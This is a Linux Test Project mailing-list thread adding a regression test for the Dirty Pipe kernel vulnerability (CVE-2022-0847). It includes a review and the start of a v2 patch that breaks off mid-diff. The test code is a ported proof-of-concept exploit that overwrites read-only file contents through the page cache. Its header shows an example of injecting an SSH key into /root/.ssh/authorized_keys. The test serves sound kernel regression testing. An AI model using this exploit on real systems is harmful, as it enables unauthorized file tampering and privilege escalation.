All of lore.kernel.org
 help / color / mirror / Atom feed
* [LTP] [PATCH] security/dirtypipe: Add test for CVE-2022-0847
@ 2022-07-07 10:44 Yang Xu
  2022-07-11 10:26 ` Richard Palethorpe
  0 siblings, 1 reply; 5+ messages in thread
From: Yang Xu @ 2022-07-07 10:44 UTC (permalink / raw)
  To: ltp

Fixes: #921
Signed-off-by: Yang Xu <xuyang2018.jy@fujitsu.com>
---
 runtest/cve                                   |   1 +
 runtest/syscalls                              |   1 +
 .../kernel/security/dirtypipe/.gitignore      |   1 +
 testcases/kernel/security/dirtypipe/Makefile  |   6 +
 .../kernel/security/dirtypipe/dirtypipe.c     | 195 ++++++++++++++++++
 5 files changed, 204 insertions(+)
 create mode 100644 testcases/kernel/security/dirtypipe/.gitignore
 create mode 100644 testcases/kernel/security/dirtypipe/Makefile
 create mode 100644 testcases/kernel/security/dirtypipe/dirtypipe.c

diff --git a/runtest/cve b/runtest/cve
index eaaaa19d7..9ab6dc282 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -72,5 +72,6 @@ cve-2021-4034 execve06
 cve-2021-22555 setsockopt08 -i 100
 cve-2021-26708 vsock01
 cve-2021-22600 setsockopt09
+cve-2022-0847 dirtypipe
 # Tests below may cause kernel memory leak
 cve-2020-25704 perf_event_open03
diff --git a/runtest/syscalls b/runtest/syscalls
index a0935821a..efef18136 100644
--- a/runtest/syscalls
+++ b/runtest/syscalls
@@ -1035,6 +1035,7 @@ process_vm_writev02 process_vm_writev02
 
 prot_hsymlinks prot_hsymlinks
 dirtyc0w dirtyc0w
+dirtypipe dirtypipe
 
 pselect01 pselect01
 pselect01_64 pselect01_64
diff --git a/testcases/kernel/security/dirtypipe/.gitignore b/testcases/kernel/security/dirtypipe/.gitignore
new file mode 100644
index 000000000..fdf39eed2
--- /dev/null
+++ b/testcases/kernel/security/dirtypipe/.gitignore
@@ -0,0 +1 @@
+/dirtypipe
diff --git a/testcases/kernel/security/dirtypipe/Makefile b/testcases/kernel/security/dirtypipe/Makefile
new file mode 100644
index 000000000..5ea7d67db
--- /dev/null
+++ b/testcases/kernel/security/dirtypipe/Makefile
@@ -0,0 +1,6 @@
+# SPDX-License-Identifier: GPL-2.0-or-later
+
+top_srcdir		?= ../../../..
+
+include $(top_srcdir)/include/mk/testcases.mk
+include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/security/dirtypipe/dirtypipe.c b/testcases/kernel/security/dirtypipe/dirtypipe.c
new file mode 100644
index 000000000..dfe7f5985
--- /dev/null
+++ b/testcases/kernel/security/dirtypipe/dirtypipe.c
@@ -0,0 +1,195 @@
+// SPDX-License-Identifier: GPL-2.0
+/*
+ * Copyright 2022 CM4all GmbH / IONOS SE
+ *
+ * Author: Max Kellermann <max.kellermann@ionos.com>
+ *
+ * Ported into ltp by Yang Xu <xuyang2018.jy@fujitsu.com>
+ */
+
+/*\
+ * [Description]
+ *
+ * Proof-of-concept exploit for the Dirty Pipe
+ * vulnerability (CVE-2022-0847) caused by an uninitialized
+ * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
+ * file contents in the page cache, even if the file is not permitted
+ * to be written, immutable or on a read-only mount.
+ *
+ * This exploit requires Linux 5.8 or later; the code path was made
+ * reachable by commit f6dd975583bd ("pipe: merge
+ * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
+ * there before, it just provided an easy way to exploit it.
+ *
+ * There are two major limitations of this exploit: the offset cannot
+ * be on a page boundary (it needs to write one byte before the offset
+ * to add a reference to this page to the pipe), and the write cannot
+ * cross a page boundary.
+ *
+ * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
+ *
+ * Further explanation: https://dirtypipe.cm4all.com/
+ */
+
+#ifndef _GNU_SOURCE
+#define _GNU_SOURCE
+#endif
+#include <unistd.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/stat.h>
+#include <sys/user.h>
+#include "tst_test.h"
+
+#define TEXT "AAAAAAAABBBBBBBB"
+#define TESTFILE "testfile"
+#define CHUNK 64
+#define BUFSIZE 4096
+
+static int p[2] = {-1, -1}, fd = -1, page_size;
+static char *write_buf, *read_buf;
+
+static void check_file_contents(void)
+{
+	SAFE_LSEEK(fd, 0, SEEK_SET);
+	SAFE_READ(1, fd, read_buf, 4096);
+
+	if (memcmp(write_buf, read_buf, 4096) != 0)
+		tst_res(TFAIL, "read buf data mismatch, bug exists");
+	else
+		tst_res(TPASS, "read buff data match, bug doesn't exist");
+}
+
+/*
+ * Create a pipe where all "bufs" on the pipe_inode_info ring have the
+ * PIPE_BUF_FLAG_CAN_MERGE flag set.
+ */
+static void prepare_pipe(void)
+{
+	unsigned int pipe_size, total, n, len;
+	char buffer[BUFSIZE];
+
+	SAFE_PIPE(p);
+	pipe_size = SAFE_FCNTL(p[1], F_GETPIPE_SZ);
+
+	/*
+	 * fill the pipe completely; each pipe_buffer will now have the
+	 * PIPE_BUF_FLAG_CAN_MERGE flag
+	 */
+	for (total = pipe_size; total > 0;) {
+		n = total > sizeof(buffer) ? sizeof(buffer) : total;
+		len = SAFE_WRITE(1, p[1], buffer, n);
+		total -= len;
+	}
+
+	/*
+	 * drain the pipe, freeing all pipe_buffer instances (but leaving the
+	 * flags initialized)
+	 */
+	for (total = pipe_size; total > 0;) {
+		n = total > sizeof(buffer) ? sizeof(buffer) : total;
+		len = SAFE_READ(1, p[0], buffer, n);
+		total -= len;
+	}
+
+	/*
+	 * the pipe is now empty, and if somebody adds a new pipe_buffer
+	 * without initializing its "flags", the buffe wiill be mergeable
+	 */
+}
+
+static void run(void)
+{
+	off_t offset;
+	int data_size, len;
+	struct stat st;
+	ssize_t nbytes;
+	loff_t next_page, end_offset;
+
+	offset = 1;
+	data_size = strlen(TEXT);
+	next_page = (offset | (page_size - 1)) + 1;
+	end_offset = offset + (loff_t)data_size;
+	if (end_offset > next_page)
+		tst_brk(TFAIL, "Sorry, cannot write across a page boundary");
+
+	fd = SAFE_OPEN(TESTFILE, O_RDONLY);
+	SAFE_FSTAT(fd, &st);
+
+	if (offset > st.st_size)
+		tst_brk(TFAIL, "Offset is not inside the file");
+	if (end_offset > st.st_size)
+		tst_brk(TFAIL, "Sorry, cannot enlarget the file");
+
+	/*
+	 * create the pipe with all flags initialized with
+	 * PIPE_BUF_FLAG_CAN_MERGE
+	 */
+	prepare_pipe();
+
+	/*
+	 * splice one byte from before the specified offset into the pipe;
+	 * this will add a reference to the page cache, but since
+	 * copy_page_to_iter_pipe() does not initialize the "flags",
+	 * PIPE_BUF_FLAG_CAN_MERGE is still set
+	 */
+	--offset;
+	nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
+	if (nbytes < 0)
+		tst_brk(TFAIL, "splice failed");
+	if (nbytes == 0)
+		tst_brk(TFAIL, "short splice");
+
+	/*
+	 * the following write will not create a new pipe_buffer, but
+	 * will instead write into the page cache, because of the
+	 *  PIPE_BUF_FLAG_CAN_MERGE flag
+	 */
+	len = SAFE_WRITE(1, p[1], TEXT, data_size);
+	if (len < nbytes)
+		tst_brk(TFAIL, "short write");
+
+	check_file_contents();
+	SAFE_CLOSE(p[0]);
+	SAFE_CLOSE(p[1]);
+	SAFE_CLOSE(fd);
+}
+
+static void setup(void)
+{
+	memset(write_buf, 0xff, 4096);
+
+	page_size = SAFE_SYSCONF(_SC_PAGESIZE);
+
+	/*write 4k 0xff to file*/
+	tst_fill_file(TESTFILE, 0xff, CHUNK, BUFSIZE / CHUNK);
+}
+
+static void cleanup(void)
+{
+	if (p[0] > -1)
+		SAFE_CLOSE(p[0]);
+	if (p[1] > -1)
+		SAFE_CLOSE(p[1]);
+	if (fd > -1)
+		SAFE_CLOSE(fd);
+}
+
+static struct tst_test test = {
+	.setup = setup,
+	.cleanup = cleanup,
+	.test_all = run,
+	.needs_tmpdir = 1,
+	.bufs = (struct tst_buffers []) {
+		{&write_buf, .size = 4096},
+		{&read_buf, .size = 4096},
+		{},
+	},
+	.tags = (const struct tst_tag[]) {
+		{"linux-git", "9d2231c5d74e"},
+		{"CVE", "CVE-2022-0847"},
+		{},
+	}
+};
-- 
2.27.0


-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply related	[flat|nested] 5+ messages in thread

* Re: [LTP] [PATCH] security/dirtypipe: Add test for CVE-2022-0847
  2022-07-07 10:44 [LTP] [PATCH] security/dirtypipe: Add test for CVE-2022-0847 Yang Xu
@ 2022-07-11 10:26 ` Richard Palethorpe
  2022-07-12  1:44   ` xuyang2018.jy
  2022-07-12  4:03   ` [LTP] [PATCH v2] " Yang Xu
  0 siblings, 2 replies; 5+ messages in thread
From: Richard Palethorpe @ 2022-07-11 10:26 UTC (permalink / raw)
  To: Yang Xu; +Cc: ltp

Hello,

Yang Xu <xuyang2018.jy@fujitsu.com> writes:

> Fixes: #921
> Signed-off-by: Yang Xu <xuyang2018.jy@fujitsu.com>
> ---
>  runtest/cve                                   |   1 +
>  runtest/syscalls                              |   1 +
>  .../kernel/security/dirtypipe/.gitignore      |   1 +
>  testcases/kernel/security/dirtypipe/Makefile  |   6 +
>  .../kernel/security/dirtypipe/dirtypipe.c     | 195 ++++++++++++++++++
>  5 files changed, 204 insertions(+)
>  create mode 100644 testcases/kernel/security/dirtypipe/.gitignore
>  create mode 100644 testcases/kernel/security/dirtypipe/Makefile
>  create mode 100644 testcases/kernel/security/dirtypipe/dirtypipe.c
>
> diff --git a/runtest/cve b/runtest/cve
> index eaaaa19d7..9ab6dc282 100644
> --- a/runtest/cve
> +++ b/runtest/cve
> @@ -72,5 +72,6 @@ cve-2021-4034 execve06
>  cve-2021-22555 setsockopt08 -i 100
>  cve-2021-26708 vsock01
>  cve-2021-22600 setsockopt09
> +cve-2022-0847 dirtypipe
>  # Tests below may cause kernel memory leak
>  cve-2020-25704 perf_event_open03
> diff --git a/runtest/syscalls b/runtest/syscalls
> index a0935821a..efef18136 100644
> --- a/runtest/syscalls
> +++ b/runtest/syscalls
> @@ -1035,6 +1035,7 @@ process_vm_writev02 process_vm_writev02
>  
>  prot_hsymlinks prot_hsymlinks
>  dirtyc0w dirtyc0w
> +dirtypipe dirtypipe
>  
>  pselect01 pselect01
>  pselect01_64 pselect01_64
> diff --git a/testcases/kernel/security/dirtypipe/.gitignore b/testcases/kernel/security/dirtypipe/.gitignore
> new file mode 100644
> index 000000000..fdf39eed2
> --- /dev/null
> +++ b/testcases/kernel/security/dirtypipe/.gitignore
> @@ -0,0 +1 @@
> +/dirtypipe
> diff --git a/testcases/kernel/security/dirtypipe/Makefile b/testcases/kernel/security/dirtypipe/Makefile
> new file mode 100644
> index 000000000..5ea7d67db
> --- /dev/null
> +++ b/testcases/kernel/security/dirtypipe/Makefile
> @@ -0,0 +1,6 @@
> +# SPDX-License-Identifier: GPL-2.0-or-later
> +
> +top_srcdir		?= ../../../..
> +
> +include $(top_srcdir)/include/mk/testcases.mk
> +include $(top_srcdir)/include/mk/generic_leaf_target.mk
> diff --git a/testcases/kernel/security/dirtypipe/dirtypipe.c b/testcases/kernel/security/dirtypipe/dirtypipe.c
> new file mode 100644
> index 000000000..dfe7f5985
> --- /dev/null
> +++ b/testcases/kernel/security/dirtypipe/dirtypipe.c
> @@ -0,0 +1,195 @@
> +// SPDX-License-Identifier: GPL-2.0
> +/*
> + * Copyright 2022 CM4all GmbH / IONOS SE
> + *
> + * Author: Max Kellermann <max.kellermann@ionos.com>
> + *
> + * Ported into ltp by Yang Xu <xuyang2018.jy@fujitsu.com>
> + */
> +
> +/*\
> + * [Description]
> + *
> + * Proof-of-concept exploit for the Dirty Pipe
> + * vulnerability (CVE-2022-0847) caused by an uninitialized
> + * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
> + * file contents in the page cache, even if the file is not permitted
> + * to be written, immutable or on a read-only mount.
> + *
> + * This exploit requires Linux 5.8 or later; the code path was made
> + * reachable by commit f6dd975583bd ("pipe: merge
> + * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
> + * there before, it just provided an easy way to exploit it.
> + *
> + * There are two major limitations of this exploit: the offset cannot
> + * be on a page boundary (it needs to write one byte before the offset
> + * to add a reference to this page to the pipe), and the write cannot
> + * cross a page boundary.
> + *
> + * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
> + *
> + * Further explanation: https://dirtypipe.cm4all.com/
> + */

Thanks for doing the conversion, this is an important test IMO. However
it needs to be simplified. There is code here that mede sense in the
original PoC, but is just a maintenance risk here. Please see below.


> +
> +#ifndef _GNU_SOURCE
> +#define _GNU_SOURCE
> +#endif
> +#include <unistd.h>
> +#include <fcntl.h>
> +#include <stdio.h>
> +#include <stdlib.h>
> +#include <string.h>
> +#include <sys/stat.h>
> +#include <sys/user.h>
> +#include "tst_test.h"
> +
> +#define TEXT "AAAAAAAABBBBBBBB"
> +#define TESTFILE "testfile"
> +#define CHUNK 64
> +#define BUFSIZE 4096
> +
> +static int p[2] = {-1, -1}, fd = -1, page_size;
> +static char *write_buf, *read_buf;
> +
> +static void check_file_contents(void)
> +{
> +	SAFE_LSEEK(fd, 0, SEEK_SET);
> +	SAFE_READ(1, fd, read_buf, 4096);
> +
> +	if (memcmp(write_buf, read_buf, 4096) != 0)
> +		tst_res(TFAIL, "read buf data mismatch, bug exists");
> +	else
> +		tst_res(TPASS, "read buff data match, bug doesn't exist");
> +}
> +
> +/*
> + * Create a pipe where all "bufs" on the pipe_inode_info ring have the
> + * PIPE_BUF_FLAG_CAN_MERGE flag set.
> + */
> +static void prepare_pipe(void)
> +{
> +	unsigned int pipe_size, total, n, len;
> +	char buffer[BUFSIZE];
> +
> +	SAFE_PIPE(p);
> +	pipe_size = SAFE_FCNTL(p[1], F_GETPIPE_SZ);
> +
> +	/*
> +	 * fill the pipe completely; each pipe_buffer will now have the
> +	 * PIPE_BUF_FLAG_CAN_MERGE flag
> +	 */
> +	for (total = pipe_size; total > 0;) {
> +		n = total > sizeof(buffer) ? sizeof(buffer) : total;
> +		len = SAFE_WRITE(1, p[1], buffer, n);
> +		total -= len;
> +	}
> +
> +	/*
> +	 * drain the pipe, freeing all pipe_buffer instances (but leaving the
> +	 * flags initialized)
> +	 */
> +	for (total = pipe_size; total > 0;) {
> +		n = total > sizeof(buffer) ? sizeof(buffer) : total;
> +		len = SAFE_READ(1, p[0], buffer, n);
> +		total -= len;
> +	}
> +
> +	/*
> +	 * the pipe is now empty, and if somebody adds a new pipe_buffer
> +	 * without initializing its "flags", the buffe wiill be mergeable
> +	 */
> +}
> +
> +static void run(void)
> +{
> +	off_t offset;
> +	int data_size, len;
> +	struct stat st;
> +	ssize_t nbytes;
> +	loff_t next_page, end_offset;
> +
> +	offset = 1;
> +	data_size = strlen(TEXT);
> +	next_page = (offset | (page_size - 1)) + 1;

I think if the offset is 1 then the next page is just page_size + 1.

> +	end_offset = offset + (loff_t)data_size;
> +	if (end_offset > next_page)
> +		tst_brk(TFAIL, "Sorry, cannot write across a page
> boundary");
> +
> +	fd = SAFE_OPEN(TESTFILE, O_RDONLY);
> +	SAFE_FSTAT(fd, &st);
> +
> +	if (offset > st.st_size)
> +		tst_brk(TFAIL, "Offset is not inside the file");
> +	if (end_offset > st.st_size)
> +		tst_brk(TFAIL, "Sorry, cannot enlarget the file");

This checks the file was written to with enough data already. We can do
that in setup or not at all. Also the error message should make
sense. It makes sense in the original reproducer which takes arbtrary
files and offsets, but not here.

> +
> +	/*
> +	 * create the pipe with all flags initialized with
> +	 * PIPE_BUF_FLAG_CAN_MERGE
> +	 */

This comment is redundant

> +	prepare_pipe();
> +
> +	/*
> +	 * splice one byte from before the specified offset into the pipe;
> +	 * this will add a reference to the page cache, but since
> +	 * copy_page_to_iter_pipe() does not initialize the "flags",
> +	 * PIPE_BUF_FLAG_CAN_MERGE is still set
> +	 */
> +	--offset;

So we just use an offset of 0. The above code can probably all be
removed.

> +	nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
> +	if (nbytes < 0)
> +		tst_brk(TFAIL, "splice failed");
> +	if (nbytes == 0)
> +		tst_brk(TFAIL, "short splice");
> +
> +	/*
> +	 * the following write will not create a new pipe_buffer, but
> +	 * will instead write into the page cache, because of the
> +	 *  PIPE_BUF_FLAG_CAN_MERGE flag
> +	 */
> +	len = SAFE_WRITE(1, p[1], TEXT, data_size);
> +	if (len < nbytes)
> +		tst_brk(TFAIL, "short write");
> +
> +	check_file_contents();
> +	SAFE_CLOSE(p[0]);
> +	SAFE_CLOSE(p[1]);
> +	SAFE_CLOSE(fd);
> +}
> +
> +static void setup(void)
> +{
> +	memset(write_buf, 0xff, 4096);
> +
> +	page_size = SAFE_SYSCONF(_SC_PAGESIZE);

I don't think we even need the page size, we can just assume it is >=
4Kb which TEXT is not close to in size.

> +
> +	/*write 4k 0xff to file*/

Inline comments which are describing non-obvious things about kernel
internals are fine. However this is just describing what an LTP library
function does. It's against the style guide.

> +	tst_fill_file(TESTFILE, 0xff, CHUNK, BUFSIZE / CHUNK);

write_buf isn't used for writing. I think it would be better to call it
pattern_buf or just check the first sizeof(TEXT) bytes are not 0xff.

> +}
> +
> +static void cleanup(void)
> +{
> +	if (p[0] > -1)
> +		SAFE_CLOSE(p[0]);
> +	if (p[1] > -1)
> +		SAFE_CLOSE(p[1]);
> +	if (fd > -1)
> +		SAFE_CLOSE(fd);
> +}
> +
> +static struct tst_test test = {
> +	.setup = setup,
> +	.cleanup = cleanup,
> +	.test_all = run,
> +	.needs_tmpdir = 1,
> +	.bufs = (struct tst_buffers []) {
> +		{&write_buf, .size = 4096},
> +		{&read_buf, .size = 4096},
> +		{},
> +	},
> +	.tags = (const struct tst_tag[]) {
> +		{"linux-git", "9d2231c5d74e"},
> +		{"CVE", "CVE-2022-0847"},
> +		{},
> +	}
> +};
> -- 
> 2.27.0



-- 
Thank you,
Richard.

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply	[flat|nested] 5+ messages in thread

* Re: [LTP] [PATCH] security/dirtypipe: Add test for CVE-2022-0847
  2022-07-11 10:26 ` Richard Palethorpe
@ 2022-07-12  1:44   ` xuyang2018.jy
  2022-07-12  4:03   ` [LTP] [PATCH v2] " Yang Xu
  1 sibling, 0 replies; 5+ messages in thread
From: xuyang2018.jy @ 2022-07-12  1:44 UTC (permalink / raw)
  To: rpalethorpe; +Cc: ltp

Hi Richard
> Hello,
> 
> Yang Xu <xuyang2018.jy@fujitsu.com> writes:
> 
>> Fixes: #921
>> Signed-off-by: Yang Xu <xuyang2018.jy@fujitsu.com>
>> ---
>>   runtest/cve                                   |   1 +
>>   runtest/syscalls                              |   1 +
>>   .../kernel/security/dirtypipe/.gitignore      |   1 +
>>   testcases/kernel/security/dirtypipe/Makefile  |   6 +
>>   .../kernel/security/dirtypipe/dirtypipe.c     | 195 ++++++++++++++++++
>>   5 files changed, 204 insertions(+)
>>   create mode 100644 testcases/kernel/security/dirtypipe/.gitignore
>>   create mode 100644 testcases/kernel/security/dirtypipe/Makefile
>>   create mode 100644 testcases/kernel/security/dirtypipe/dirtypipe.c
>>
>> diff --git a/runtest/cve b/runtest/cve
>> index eaaaa19d7..9ab6dc282 100644
>> --- a/runtest/cve
>> +++ b/runtest/cve
>> @@ -72,5 +72,6 @@ cve-2021-4034 execve06
>>   cve-2021-22555 setsockopt08 -i 100
>>   cve-2021-26708 vsock01
>>   cve-2021-22600 setsockopt09
>> +cve-2022-0847 dirtypipe
>>   # Tests below may cause kernel memory leak
>>   cve-2020-25704 perf_event_open03
>> diff --git a/runtest/syscalls b/runtest/syscalls
>> index a0935821a..efef18136 100644
>> --- a/runtest/syscalls
>> +++ b/runtest/syscalls
>> @@ -1035,6 +1035,7 @@ process_vm_writev02 process_vm_writev02
>>   
>>   prot_hsymlinks prot_hsymlinks
>>   dirtyc0w dirtyc0w
>> +dirtypipe dirtypipe
>>   
>>   pselect01 pselect01
>>   pselect01_64 pselect01_64
>> diff --git a/testcases/kernel/security/dirtypipe/.gitignore b/testcases/kernel/security/dirtypipe/.gitignore
>> new file mode 100644
>> index 000000000..fdf39eed2
>> --- /dev/null
>> +++ b/testcases/kernel/security/dirtypipe/.gitignore
>> @@ -0,0 +1 @@
>> +/dirtypipe
>> diff --git a/testcases/kernel/security/dirtypipe/Makefile b/testcases/kernel/security/dirtypipe/Makefile
>> new file mode 100644
>> index 000000000..5ea7d67db
>> --- /dev/null
>> +++ b/testcases/kernel/security/dirtypipe/Makefile
>> @@ -0,0 +1,6 @@
>> +# SPDX-License-Identifier: GPL-2.0-or-later
>> +
>> +top_srcdir		?= ../../../..
>> +
>> +include $(top_srcdir)/include/mk/testcases.mk
>> +include $(top_srcdir)/include/mk/generic_leaf_target.mk
>> diff --git a/testcases/kernel/security/dirtypipe/dirtypipe.c b/testcases/kernel/security/dirtypipe/dirtypipe.c
>> new file mode 100644
>> index 000000000..dfe7f5985
>> --- /dev/null
>> +++ b/testcases/kernel/security/dirtypipe/dirtypipe.c
>> @@ -0,0 +1,195 @@
>> +// SPDX-License-Identifier: GPL-2.0
>> +/*
>> + * Copyright 2022 CM4all GmbH / IONOS SE
>> + *
>> + * Author: Max Kellermann <max.kellermann@ionos.com>
>> + *
>> + * Ported into ltp by Yang Xu <xuyang2018.jy@fujitsu.com>
>> + */
>> +
>> +/*\
>> + * [Description]
>> + *
>> + * Proof-of-concept exploit for the Dirty Pipe
>> + * vulnerability (CVE-2022-0847) caused by an uninitialized
>> + * "pipe_buffer.flags" variable.  It demonstrates how to overwrite any
>> + * file contents in the page cache, even if the file is not permitted
>> + * to be written, immutable or on a read-only mount.
>> + *
>> + * This exploit requires Linux 5.8 or later; the code path was made
>> + * reachable by commit f6dd975583bd ("pipe: merge
>> + * anon_pipe_buf*_ops").  The commit did not introduce the bug, it was
>> + * there before, it just provided an easy way to exploit it.
>> + *
>> + * There are two major limitations of this exploit: the offset cannot
>> + * be on a page boundary (it needs to write one byte before the offset
>> + * to add a reference to this page to the pipe), and the write cannot
>> + * cross a page boundary.
>> + *
>> + * Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
>> + *
>> + * Further explanation: https://dirtypipe.cm4all.com/
>> + */
> 
> Thanks for doing the conversion, this is an important test IMO. However
> it needs to be simplified. There is code here that mede sense in the
> original PoC, but is just a maintenance risk here. Please see below.
> 
> 
>> +
>> +#ifndef _GNU_SOURCE
>> +#define _GNU_SOURCE
>> +#endif
>> +#include <unistd.h>
>> +#include <fcntl.h>
>> +#include <stdio.h>
>> +#include <stdlib.h>
>> +#include <string.h>
>> +#include <sys/stat.h>
>> +#include <sys/user.h>
>> +#include "tst_test.h"
>> +
>> +#define TEXT "AAAAAAAABBBBBBBB"
>> +#define TESTFILE "testfile"
>> +#define CHUNK 64
>> +#define BUFSIZE 4096
>> +
>> +static int p[2] = {-1, -1}, fd = -1, page_size;
>> +static char *write_buf, *read_buf;
>> +
>> +static void check_file_contents(void)
>> +{
>> +	SAFE_LSEEK(fd, 0, SEEK_SET);
>> +	SAFE_READ(1, fd, read_buf, 4096);
>> +
>> +	if (memcmp(write_buf, read_buf, 4096) != 0)
>> +		tst_res(TFAIL, "read buf data mismatch, bug exists");
>> +	else
>> +		tst_res(TPASS, "read buff data match, bug doesn't exist");
>> +}
>> +
>> +/*
>> + * Create a pipe where all "bufs" on the pipe_inode_info ring have the
>> + * PIPE_BUF_FLAG_CAN_MERGE flag set.
>> + */
>> +static void prepare_pipe(void)
>> +{
>> +	unsigned int pipe_size, total, n, len;
>> +	char buffer[BUFSIZE];
>> +
>> +	SAFE_PIPE(p);
>> +	pipe_size = SAFE_FCNTL(p[1], F_GETPIPE_SZ);
>> +
>> +	/*
>> +	 * fill the pipe completely; each pipe_buffer will now have the
>> +	 * PIPE_BUF_FLAG_CAN_MERGE flag
>> +	 */
>> +	for (total = pipe_size; total > 0;) {
>> +		n = total > sizeof(buffer) ? sizeof(buffer) : total;
>> +		len = SAFE_WRITE(1, p[1], buffer, n);
>> +		total -= len;
>> +	}
>> +
>> +	/*
>> +	 * drain the pipe, freeing all pipe_buffer instances (but leaving the
>> +	 * flags initialized)
>> +	 */
>> +	for (total = pipe_size; total > 0;) {
>> +		n = total > sizeof(buffer) ? sizeof(buffer) : total;
>> +		len = SAFE_READ(1, p[0], buffer, n);
>> +		total -= len;
>> +	}
>> +
>> +	/*
>> +	 * the pipe is now empty, and if somebody adds a new pipe_buffer
>> +	 * without initializing its "flags", the buffe wiill be mergeable
>> +	 */
>> +}
>> +
>> +static void run(void)
>> +{
>> +	off_t offset;
>> +	int data_size, len;
>> +	struct stat st;
>> +	ssize_t nbytes;
>> +	loff_t next_page, end_offset;
>> +
>> +	offset = 1;
>> +	data_size = strlen(TEXT);
>> +	next_page = (offset | (page_size - 1)) + 1;
> 
> I think if the offset is 1 then the next page is just page_size + 1.

Agree.
> 
>> +	end_offset = offset + (loff_t)data_size;
>> +	if (end_offset > next_page)
>> +		tst_brk(TFAIL, "Sorry, cannot write across a page
>> boundary");
>> +
>> +	fd = SAFE_OPEN(TESTFILE, O_RDONLY);
>> +	SAFE_FSTAT(fd, &st);
>> +
>> +	if (offset > st.st_size)
>> +		tst_brk(TFAIL, "Offset is not inside the file");
>> +	if (end_offset > st.st_size)
>> +		tst_brk(TFAIL, "Sorry, cannot enlarget the file");
> 
> This checks the file was written to with enough data already. We can do
> that in setup or not at all. Also the error message should make
> sense. It makes sense in the original reproducer which takes arbtrary
> files and offsets, but not here.

OK.
> 
>> +
>> +	/*
>> +	 * create the pipe with all flags initialized with
>> +	 * PIPE_BUF_FLAG_CAN_MERGE
>> +	 */
> 
> This comment is redundant
Will remove on v2.
> 
>> +	prepare_pipe();
>> +
>> +	/*
>> +	 * splice one byte from before the specified offset into the pipe;
>> +	 * this will add a reference to the page cache, but since
>> +	 * copy_page_to_iter_pipe() does not initialize the "flags",
>> +	 * PIPE_BUF_FLAG_CAN_MERGE is still set
>> +	 */
>> +	--offset;
> 
> So we just use an offset of 0. The above code can probably all be
> removed.

Yes.
> 
>> +	nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
>> +	if (nbytes < 0)
>> +		tst_brk(TFAIL, "splice failed");
>> +	if (nbytes == 0)
>> +		tst_brk(TFAIL, "short splice");
>> +
>> +	/*
>> +	 * the following write will not create a new pipe_buffer, but
>> +	 * will instead write into the page cache, because of the
>> +	 *  PIPE_BUF_FLAG_CAN_MERGE flag
>> +	 */
>> +	len = SAFE_WRITE(1, p[1], TEXT, data_size);
>> +	if (len < nbytes)
>> +		tst_brk(TFAIL, "short write");
>> +
>> +	check_file_contents();
>> +	SAFE_CLOSE(p[0]);
>> +	SAFE_CLOSE(p[1]);
>> +	SAFE_CLOSE(fd);
>> +}
>> +
>> +static void setup(void)
>> +{
>> +	memset(write_buf, 0xff, 4096);
>> +
>> +	page_size = SAFE_SYSCONF(_SC_PAGESIZE);
> 
> I don't think we even need the page size, we can just assume it is >=
> 4Kb which TEXT is not close to in size.

Yes.
> 
>> +
>> +	/*write 4k 0xff to file*/
> 
> Inline comments which are describing non-obvious things about kernel
> internals are fine. However this is just describing what an LTP library
> function does. It's against the style guide.

Sound reasonable.
> 
>> +	tst_fill_file(TESTFILE, 0xff, CHUNK, BUFSIZE / CHUNK);
> 
> write_buf isn't used for writing. I think it would be better to call it
> pattern_buf or just check the first sizeof(TEXT) bytes are not 0xff.
I will think about it.

Thanks for your review.

Best Regards
Yang Xu
> 
>> +}
>> +
>> +static void cleanup(void)
>> +{
>> +	if (p[0] > -1)
>> +		SAFE_CLOSE(p[0]);
>> +	if (p[1] > -1)
>> +		SAFE_CLOSE(p[1]);
>> +	if (fd > -1)
>> +		SAFE_CLOSE(fd);
>> +}
>> +
>> +static struct tst_test test = {
>> +	.setup = setup,
>> +	.cleanup = cleanup,
>> +	.test_all = run,
>> +	.needs_tmpdir = 1,
>> +	.bufs = (struct tst_buffers []) {
>> +		{&write_buf, .size = 4096},
>> +		{&read_buf, .size = 4096},
>> +		{},
>> +	},
>> +	.tags = (const struct tst_tag[]) {
>> +		{"linux-git", "9d2231c5d74e"},
>> +		{"CVE", "CVE-2022-0847"},
>> +		{},
>> +	}
>> +};
>> -- 
>> 2.27.0
> 
> 
> 

-- 
Mailing list info: https://lists.linux.it/listinfo/ltp

^ permalink raw reply	[flat|nested] 5+ messages in thread

* [LTP] [PATCH v2] security/dirtypipe: Add test for CVE-2022-0847
  2022-07-11 10:26 ` Richard Palethorpe
  2022-07-12  1:44   ` xuyang2018.jy
@ 2022-07-12  4:03   ` Yang Xu
  2022-07-13  5:19     ` Richard Palethorpe
  1 sibling, 1 reply; 5+ messages in thread
From: Yang Xu @ 2022-07-12  4:03 UTC (permalink / raw)
  To: ltp

Fixes: #921
Signed-off-by: Yang Xu <xuyang2018.jy@fujitsu.com>
---
 runtest/cve                                   |   1 +
 runtest/syscalls                              |   1 +
 .../kernel/security/dirtypipe/.gitignore      |   1 +
 testcases/kernel/security/dirtypipe/Makefile  |   6 +
 .../kernel/security/dirtypipe/dirtypipe.c     | 175 ++++++++++++++++++
 5 files changed, 184 insertions(+)
 create mode 100644 testcases/kernel/security/dirtypipe/.gitignore
 create mode 100644 testcases/kernel/security/dirtypipe/Makefile
 create mode 100644 testcases/kernel/security/dirtypipe/dirtypipe.c

diff --git a/runtest/cve b/runtest/cve
index eaaaa19d7..9ab6dc282 100644
--- a/runtest/cve
+++ b/runtest/cve
@@ -72,5 +72,6 @@ cve-2021-4034 execve06
 cve-2021-22555 setsockopt08 -i 100
 cve-2021-26708 vsock01
 cve-2021-22600 setsockopt09
+cve-2022-0847 dirtypipe
 # Tests below may cause kernel memory leak
